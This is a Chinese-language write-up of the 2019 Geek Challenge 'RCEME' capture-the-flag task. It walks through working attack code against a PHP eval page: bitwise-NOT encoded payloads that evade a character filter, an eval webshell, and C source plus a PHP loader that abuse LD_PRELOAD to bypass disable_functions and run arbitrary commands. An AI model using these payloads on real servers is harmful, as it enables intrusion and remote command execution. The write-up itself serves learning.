前言
前几天在buu做了这道题,感觉挺好就记录一下
正文
进去可以直接看到php代码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
大概意思就是接收个code参数长度不能大于40不能出现字母数字
但是可以两次取反使命令执行
<?php
$d=urlencode(~'phpinfo');
echo $d;
?>
得到%8F%97%8F%96%91%99%90
payload
?code=(~%8F%97%8F%96%91%99%90)();
命令正确执行
然后直接构造system执行系统函数,发现无法执行,回来phpinfo看了一下,禁用了很多函数
发现所有能执行系统命令的函数都被执行了
查了一圈之后发现有两种方法可以RCE的
第一种
这种比较简单,构造一句话然后连蚁剑
<?php
$d=urlencode(~'assert');
echo $d;
echo '<br>';
$d=urlencode(~'(eval($_POST[a]))');
echo $d;
?>
得到payload
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);
测试到命令可以成功执行
用蚁剑连接(不知道我的蚁剑为什么GET参数连不上POST才能连上)
发现根目录有flag和readflag,应该是要运行readflag才能得到flag
现在用蚁剑上的一个插件绕过disable_functions,插件市场有
选择php7-GC-UAF模式就可以
第二种
第二种有点复杂,也是这次想详细记录的
主要思路就是这样:利用LD_PRELOAD这个环境变量指定so共享文件从而劫持系统函数
先来了解一下LD_PRELOAD这个环境变量,由这个变量指向的文件会最先被调用,然后php函数在解析的过程会执行一些系统函数,如果LD_PRELOAD指向的so文件注册了同名的函数但是是恶意函数,由于LD_PRELOAD的优先度最高所以对应的恶意函数被执行,换一句话说就是php本来想执行正常的系统函数的结果被LD_PRELOAD对应的那个文件里的同名函数劫持了,导致执行的是指向的so文件里面的恶意函数
然后LD_PRELOAD这个环境变量可以由putenv()设置,phpinfo里面又没有禁用这个函数,所以导致了RCE
然后问题回到到底该劫持哪个函数,因为难以知道php函数解析的时候会调用哪个函数所以不妨转变一下行为,直接劫持启动进程这一行为,而gcc下面有个c语言修饰符__attribute__((constructor))
就能在进程启动的时候执行,然而问题来了,我们在劫持启动进程这个行为的时候又启动了新的进程,导致无限循环,所以我们要尽快停止劫持也就是删除LD_PRELOAD这个环境变量,对应的函数是unsetenv(“LD_PRELOAD”),也就是在劫持成功的时候首先要删除LD_PRELOAD环境变量,还有就是,这样的方法在绝大部分系统中有效但是在centos中无效,因为unsetenv()被centos hook了然后内部也有其他进程在执行,所以unsetenv()在centos中无效,所以要对所有系统有效的话还要换另外一种方式,看一下unsetunv()这个函数的原理,这个函数其实是用全局变量extern char** environ对参数进行置零(也就是’\0′)的,所以这个我们直接用这个全局变量对LD_PRELOAD进行置零就可以
整理一下思路,我们的步骤可以整理为:
1.制作出含恶意代码的so文件并且传上去
2.执行某个php函数使得恶意代码被触发执行
下面来制作这个恶意so文件
文件名bypass_disablefunc.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
编译c(x64架构)
`gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so`
(x86架构)
`gcc -shared -m32 -fPIC bypass_disablefunc.c -o bypass_disablefunc_x86.so`
为了方便RCE我们把恶意代码写在外面,存进一个EVIL_COMLINE的环境变量,然后在劫持函数__attribute__ ((__constructor__))
里面每次都从EVIL_CMDLINE读取存储的恶意代码。
bypass_disablefunc.php
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
这个php文件用来把恶意代码写进EVIL_CMDLINE然后接收回显到某个文件并输出,mail()函数用来产生新进程从而触发恶意命令执行
然后别的wp说了在/var/tmp里面有上传权限(具体怎么看的下次知道了再补充),上传bypass_disablefunc.php和bypass_disablefunc_x64.so(系统为x86_64架构)
然后提供三个参数
cmd:执行系统命令
outpath:接收回显的文件所在绝对路径
sopath:so文件所在绝对路径
所以最后payload
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%B8%BA%AB%A4%9E%A2%D6%D6);&a=include(%27/var/tmp/bypass_disablefunc.php%27);&cmd=/readflag&outpath=/var/tmp/tempfile&sopath=/var/tmp/bypass_disablefunc_x64.so
最后成功RCE
结尾
确实学到挺多的
参考链接:
https://evoa.me/archives/16/
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
https://www.cnblogs.com/yesec/p/12483631.html
https://blog.csdn.net/mochu7777777/article/details/105136633/
https://www.freebuf.com/articles/web/192052.html
https://www.anquanke.com/post/id/175403
本文地址: 2019极客大挑战RCEME